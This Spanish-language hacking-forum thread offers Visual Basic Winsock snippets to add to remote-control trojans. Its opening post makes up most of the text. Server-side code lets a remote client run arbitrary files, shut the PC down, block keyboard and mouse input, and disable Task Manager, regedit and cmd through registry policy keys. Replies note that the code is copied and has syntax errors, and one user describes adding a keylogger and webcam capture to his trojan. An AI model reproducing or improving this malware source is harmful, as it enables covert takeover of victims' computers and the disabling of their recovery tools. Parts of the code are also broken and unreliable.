Resultados 1 al 12 de 12

Tema: Codigos para añadir a tus troyanos en VB

  1. #1 Codigos para añadir a tus troyanos en VB 
    Iniciado
    Fecha de ingreso
    May 2008
    Ubicación
    Alicante
    Mensajes
    20
    Descargas
    1
    Uploads
    0
    Bueno para los que programeis en visual basic, y esteis interesados en añadir mas opciones a vuestros troyanos programados en VB, aquí os dejo algunas ideas

    Nota: Si alguien desea recibir claras instrucciones sobre creacion de troyanos en vb, me puede enviar un privado y le paso buena informacion para aprender.

    -------------------------------desapareser
    mouse---------------------------------------

    agregar un modulo en el server y un Commandbutton en el cliente

    ---en el modulo del server----

    Declare Function ShowCursor Lib "user32" _
    (ByVal bShow As Long) As Long

    ----en el server-----

    Private Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim datos As String
    ws.GetData datos
    if datos = "desp" then ShowCursor false
    end sub

    ----en el cliente----

    Private Sub Command1_Click()
    ws.senddata "desp"
    End Sub

    -----------------------blokear mouse i teclado----------------------
    agregar un commandbutton en el cliente i un modulo en el server
    -----en el modulo del server------

    Public Declare Function BlockInput Lib "user32" _
    (ByVal fBlock As Long) As Long

    -----en el server------

    Private Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim datos As String
    ws.GetData datos
    if datos = "desa" then BlockInput true
    end sub

    -----en el cliente---

    Private Sub Command1_Click()
    ws.senddata "desa"
    End Sub

    ---------------------------------------hacer sonar beep ----------------

    agregar un commandbutton en el cliente i un mopdulo en el server
    -----en el modulo del server------

    Public Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long

    ------en el server---------

    Private Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim datos As String
    ws.GetData datos
    if datos = "beep" then
    Beep 999, 999
    Beep 999, 999
    end if
    end sub

    ----3n 3l kl13nt3 xd-----
    Private Sub Command1_Click()
    ws.senddata "beep"
    End Sub
    -----------------------------------------abrir cosita de los cd---------------------------

    agregar un modulo en el server i un commandbutton en el cliente

    -----en el modulo del server---
    Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
    lpstrReturnString As String, ByVal uReturnLength As Long, _
    ByVal hwndCallback As Long) As Long

    ----en el server---

    Private Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim datos As String
    ws.GetData datos
    if datos = "trok" then
    Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
    end if
    end sub

    ---en el cliente----

    Private Sub Command1_Click()
    ws.senddata "trok"
    End Sub

    -------------------------blokear el taskmgr.exe(cttrl + alt +supr)-------------------------

    agregar 1 comand button en el server i 1 en el cliente

    ----en el server-----

    Private Sub Command1_Click()
    CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskmgr", "1"
    End Sub

    Private Sub CreateIntegerKey(Folder As String, Value As Integer)
    Dim Fso As Object
    On Error GoTo men

    Set Fso = CreateObject("wscript.shell"

    Fso.RegWrite Folder, Value, "REG_DWORD"


    Set Fso = Nothing


    Exit Sub
    'error
    men:
    MsgBox Err.Description: Resume Next
    End Sub

    rivate Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim datos As String
    ws.GetData datos
    if datos = "trtk" then call Command1_Click
    end sub

    ----en el cliente----
    Private Sub Command1_Click()
    ws.senddata " trtk"
    end sub

    ----------------------------------------apagar el pc------------------

    agregar un commandbutton en el cliente
    ----en el server---
    Private Sub ws_DataArrival(ByVal bytesTotal As Long)

    Dim datos As String
    Dim sn As String
    sn = "shutdown"
    ws.GetData datos
    If datos = "lol" Then Shell (sn & " -s -t 00"
    ----en el cliente----
    Private Sub Command1_Click()
    ws.senddata "lol"
    End Sub

    ---------------------ejecutar un archivo----------------

    agregar un textbox en el cliente i un comandbutton en el cliente

    ----en el server----

    Private Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim datos As String
    ws.GetData datos
    If Left(datos, 4) = "ejec" Then
    datos = Right(datos, Len(datos) - 4)
    Shell (datos)
    End If
    end sub

    ---en el cliente---

    Private Sub Form_Load()
    text1.text = "aka va el archivo a ejecutar"
    End Sub
    Private Sub Command1_Click()
    ws.senddata "ejec" & text1.text
    End Sub

    -----------------------------------no dejar abrir ventanas-----------------------------------

    agrega un modulo i un timer en el server i un commandbutton en el kliente

    ----en el modulo del server---

    Public Const VK_LWIN = &H5B
    Public Const KEYEVENTF_KEYUP = &H2

    Public Declare Sub keybd_event Lib "user32" _
    (ByVal bVk As Byte, ByVal bScan As Byte, _
    ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

    ----en el server----

    Private Sub Form_Load()
    timer1.enabled = false
    End Sub
    Private Sub Timer1_Timer()
    Call keybd_event(VK_LWIN, 0, 0, 0)
    Call keybd_event(77, 0, 0, 0)
    Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
    End Sub
    Private Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim datos As String
    ws.GetData datos
    if datos = "jajaja" then
    timer1.interval = 100
    timer1.enabled = true
    end sub[/code]
    --en el cliente----
    Private Sub Command1_Click()
    ws.senddata "jajaja"
    End Sub

    ------------------------despareser iconos------------------

    agregar un commandbutton en el cliente

    -----en el server---

    Private Declare Function FindWindowEx Lib "user32" _
    Alias "FindWindowExA" (ByVal hWnd1 As Long, _
    ByVal hWnd2 As Long, ByVal lpsz1 As String, _
    ByVal lpsz2 As String) As Long


    Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _
    ByVal nCmdShow As Long) As Long

    Const SW_SHOW = 5
    Const SW_HIDE = 0



    private Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim datos As String
    ws.GetData datos
    if datos = "topo" then
    Dim Ret As Long

    On Error Resume Next

    Ret = FindWindowEx(0&, 0&, "Progman", vbNullString)

    ShowWindow Ret, SW_HIDE
    end if
    End Sub

    ------en el cliente -----

    Private Sub Command1_Click()
    ws.senddata "topo"
    end sub

    ---------------------desaparecer boton de inicio (signo de windows)-----------------

    agregar un command button en el cliente

    --------------------en el server---------
    Const WS_CHILD = &H40000000
    Const WM_LBUTTONDOWN = &H201
    Const WM_LBUTTONUP = &H202
    Const SW_HIDE = 0
    Const SW_NORMAL = 1


    Private Type RECT
    Left As Long
    Top As Long
    Right As Long
    Bottom As Long
    End Type


    Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
    Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
    Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
    Private Declare Function CreateWindowEx Lib "user32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByValhMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long
    Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long

    Dim tWnd As Long, bWnd As Long, ncWnd As Long

    Private Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim datos As String
    ws.GetData datos
    if datos = "paza" then
    Dim R As RECT

    tWnd = FindWindow("Shell_TrayWnd", vbNullString)
    bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)

    GetWindowRect bWnd, R

    ShowWindow ncWnd, SW_NORMAL

    ShowWindow bWnd, SW_HIDE
    end if

    ----------en el cliente-------------

    Private Sub Command1_Click()
    ws.senddata "paza"
    End Sub

    -----------------------deabilitar el regedit------------------

    agregar un command button en el cliente

    -----------en el server------------------

    Private Sub CreateIntegerKey(Folder As String, Value As Integer)
    Dim xdf As Object
    Set xdf = CreateObject("wscript.shell"
    xdf.RegWrite Folder, Value, "REG_DWORD"
    Set Fxdf = Nothing
    Exit Sub
    End Sub
    Private Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim datos As String
    ws.GetData datos
    if datos = "regeditc" then
    CreateIntegerKey "HKEY_CURRENT_USER\software\microsoft\windows\curr entversion\policies\system\DisableRegistryTools", "1"
    end if
    end sub

    ----------en el cliente----------

    Private Sub Command1_Click()
    ws.senddata = "regeditc"
    End Sub

    ---------desabilitar el cmd (trae problemas con algunos codes que ocupan el cmd)----

    agregar un commandbutton en el cliente

    -----en el server-----

    Private Sub CreateIntegerKey(Folder As String, Value As Integer)
    Dim Fso As Object
    Set Fso = CreateObject("wscript.shell"
    Fso.RegWrite Folder, Value, "REG_DWORD"
    Set Fso = Nothing
    Exit Sub
    End Sub
    Private Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim datos As String
    ws.GetData datos
    if datos = "cmdc" then
    CreateIntegerKey "HKEY_CURRENT_USER\Software\Policies\Microsoft\Win dows\System\DisableCMD", "1"
    end if
    end sub

    ----en el cliente----

    Private Sub Command1_Click()
    ws.senddata = "cmdc"
    End Sub
    -------activar cmd--------------

    agregar un commandbutton en el cliente

    -----en el server-----

    Private Sub CreateIntegerKey(Folder As String, Value As Integer)
    Dim Fso As Object
    Set Fso = CreateObject("wscript.shell"
    Fso.RegWrite Folder, Value, "REG_DWORD"
    Set Fso = Nothing
    Exit Sub
    End Sub
    Private Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim datos As String
    ws.GetData datos
    if datos = "cmdb" then
    CreateIntegerKey "HKEY_CURRENT_USER\Software\Policies\Microsoft\Win dows\System\DisableCMD", "0"
    end if
    end sub
    ----en el cliente----
    Private Sub Command1_Click()
    ws.senddata = "cmdb"
    End Sub

    ----------activar regedit------

    agregar un command button en el cliente

    -----------en el server------------------

    Private Sub CreateIntegerKey(Folder As String, Value As Integer)
    Dim xdf As Object
    Set xdf = CreateObject("wscript.shell"
    xdf.RegWrite Folder, Value, "REG_DWORD"
    Set Fxdf = Nothing
    Exit Sub
    End Sub
    Private Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim datos As String
    ws.GetData datos
    if datos = "regedito" then
    CreateIntegerKey "HKEY_CURRENT_USER\software\microsoft\windows\curr entversion\policies\system\DisableRegistryTools", "0"
    end if
    end sub

    ----------en el cliente----------

    Private Sub Command1_Click()
    ws.senddata = "regedito"
    End Sub
    -----activar taskmgr.exe-----
    agregar 1 comand button en el server i 1 en el cliente
    ----en el server-----
    Private Sub Command1_Click()
    CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskmgr", "0"
    End Sub

    Private Sub CreateIntegerKey(Folder As String, Value As Integer)
    Dim Fso As Object
    On Error GoTo men

    Set Fso = CreateObject("wscript.shell"

    Fso.RegWrite Folder, Value, "REG_DWORD"


    Set Fso = Nothing


    Exit Sub
    'error
    men:
    MsgBox Err.Description: Resume Next
    End Sub

    rivate Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim datos As String
    ws.GetData datos
    if datos = "trtj" then call Command1_Click
    end sub

    ----en el cliente----

    Private Sub Command1_Click()
    ws.senddata " trtj"
    end sub
    Citar  
     

  2. #2  
    Medio
    Fecha de ingreso
    May 2002
    Ubicación
    Buenos Aires, Argent
    Mensajes
    95
    Descargas
    0
    Uploads
    0
    Hola en Donde pones:
    agregar un commandbutton en el cliente
    ----en el server---
    Private Sub ws_DataArrival(ByVal bytesTotal As Long)

    Dim datos As String
    Dim sn As String
    sn = "shutdown"
    ws.GetData datos
    If datos = "lol" Then Shell (sn & " -s -t 00"
    ----en el cliente----
    Private Sub Command1_Click()
    ws.senddata "lol"
    End Sub
    el comando "ws" de donde lo sacas? no entiendo.. si podrias explicar con un ejemplo entero haciendo una sola cosa..

    Gracias.- (espero que me responda...)
    ŞαדαתђэớЪα
    ψ Hεll ψ Ω Heaven Ω
    Citar  
     

  3. #3  
    Avanzado
    Fecha de ingreso
    Jun 2006
    Mensajes
    1.461
    Descargas
    15
    Uploads
    0
    Bah, estos códigos están algo malos, si no mira la línea que has citado:
    Código:
    If datos = "lol" Then Shell (sn & " -s -t 00"
    ¿No falta algo?
    Citar  
     

  4. #4  
    Avanzado
    Fecha de ingreso
    Jun 2006
    Ubicación
    Valhala
    Mensajes
    1.167
    Descargas
    4
    Uploads
    0
    Hombre, lo mismo es que es codigo anti-script-kiddies, con sus fallos para que solo pueda implementarlo alguien con conocimiento.
    http://www.project-longinus.es
    Citar  
     

  5. #5  
    Avanzado
    Fecha de ingreso
    Jun 2006
    Mensajes
    1.461
    Descargas
    15
    Uploads
    0
    Sí, anti-scriptkiddies...
    Citar  
     

  6. #6  
    Moderador HH
    Fecha de ingreso
    Nov 2006
    Mensajes
    1.516
    Descargas
    7
    Uploads
    0
    Cita Iniciado por Satanheoba Ver mensaje
    Hola en Donde pones:


    el comando "ws" de donde lo sacas? no entiendo.. si podrias explicar con un ejemplo entero haciendo una sola cosa..

    Gracias.- (espero que me responda...)


    SatanHeoba, el 'WS' es el nombre que el le ha dado al control WinSock.
    Se usa para conexiones por socks en windows.


    En cuanto a los codes... No creo que los haya escrito todos el, porque como dice Nost en ese en concreto le falta un buen parentesis del que VB te avisa. Ademas de que puedes encontrar estos mismos codigos por internet, CON EL MISMO TITULO en el post


    Un saludo
    Mess with the best, die like the rest.


    Hazle a los demas... antes de que te hagan a ti.
    Citar  
     

  7. #7  
    Avanzado
    Fecha de ingreso
    Jun 2006
    Mensajes
    1.461
    Descargas
    15
    Uploads
    0
    Trxhick, j00 g0t 0wn3d! powaaa!
    Citar  
     

  8. #8  
    Avanzado
    Fecha de ingreso
    Jun 2006
    Ubicación
    Valhala
    Mensajes
    1.167
    Descargas
    4
    Uploads
    0
    A ver si nos acordamos de citar a la fuente!
    http://www.project-longinus.es
    Citar  
     

  9. #9  
    Medio
    Fecha de ingreso
    May 2002
    Ubicación
    Buenos Aires, Argent
    Mensajes
    95
    Descargas
    0
    Uploads
    0
    Ok... ya caigo... lo que pasa es que me marea un poco eso del copy&paste ...

    Gracias.-
    ŞαדαתђэớЪα
    ψ Hεll ψ Ω Heaven Ω
    Citar  
     

  10. #10  
    Iniciado
    Fecha de ingreso
    Jul 2008
    Mensajes
    3
    Descargas
    0
    Uploads
    0
    Olaa a Tod@s esta bien que se comparta codigoO fuente y se agradece pero te agradeceria que pusieras algo sobre tranferencias de archivos en VB porque mi Troyanito esta bastante cargado de tonterias desas de abrir cd etc.... y le estoy metiendo cosas mas serias como son keylogger webcam captura de pantalla y demas jeje XD S@1u2s y graxias
    Citar  
     

  11. #11  
    Moderador HH
    Fecha de ingreso
    Sep 2003
    Mensajes
    1.384
    Descargas
    21
    Uploads
    5
    Es que la transferencia de archivos no tiene nada especial, simplemente abris el archivo en modo binario lo mandas a un bufer y envias o todo el bufer o lo seccionas en partes, o hasta incluso lo podes mandar byte x byte.

    Por las dudas como para orientarte un poco con el codigo:
    File transfer

    Saludos
    - Me desagrada
    - ¿Por qué?
    - No estoy a su altura.
    ¿Ha respondido así alguna vez un hombre?

    Friedrich Nietzsche



    Citar  
     

  12. #12  
    Iniciado
    Fecha de ingreso
    Jul 2008
    Mensajes
    3
    Descargas
    0
    Uploads
    0
    Cita Iniciado por Marchi Ver mensaje
    Es que la transferencia de archivos no tiene nada especial, simplemente abris el archivo en modo binario lo mandas a un bufer y envias o todo el bufer o lo seccionas en partes, o hasta incluso lo podes mandar byte x byte.

    Por las dudas como para orientarte un poco con el codigo:
    File transfer

    Saludos
    Graxias tiooo mas aYudadooO telaa porfin voy a poder probar cosas nuevas ke tenia pensaoOo uFF eske yo lo tenia exo por ftp una forma uff mu pesada para mi bicho asin se keda mas profecional

    S@1u2s
    Citar  
     

Temas similares

  1. Respuestas: 0
    Último mensaje: 04-11-2011, 15:58
  2. Respuestas: 0
    Último mensaje: 06-10-2009, 09:46
  3. codigos para smartbox 301 fta
    Por xarku6 en el foro DIGITAL+
    Respuestas: 1
    Último mensaje: 19-08-2006, 15:48
  4. facilitar codigos para desbloquear codigos
    Por ralsina en el foro TELEFONIA
    Respuestas: 2
    Último mensaje: 02-04-2006, 20:53
  5. Código javascript para añadir a favoritos
    Por Almorca en el foro PROGRAMACION WEB
    Respuestas: 0
    Último mensaje: 04-10-2004, 23:04

Marcadores

Marcadores

Permisos de publicación

  • No puedes crear nuevos temas
  • No puedes responder temas
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
  •